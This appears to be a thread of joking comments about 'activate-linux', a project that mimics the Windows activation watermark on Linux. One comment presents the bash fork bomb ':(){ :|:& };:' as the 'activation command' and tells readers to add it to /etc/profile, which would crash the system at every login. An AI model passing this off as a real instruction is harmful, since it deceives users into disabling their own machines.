Activate Linux
Doesn't everyone know the activation command is :(){ :|:& };:
:(){ :|:& };:
Put that in your /etc/profile and you'll never have trouble with activating Linux.
/etc/profile
Clicking the 'Activate' link prompts you to enter your shoe size and postal address, so that you may receive a shark plush toy and your own pair of The Socks.
https://github.com/MrGlockenspiel/activate-linux
I use enzymes for mine.
Thought it was a new distro. Now I'm disappointed.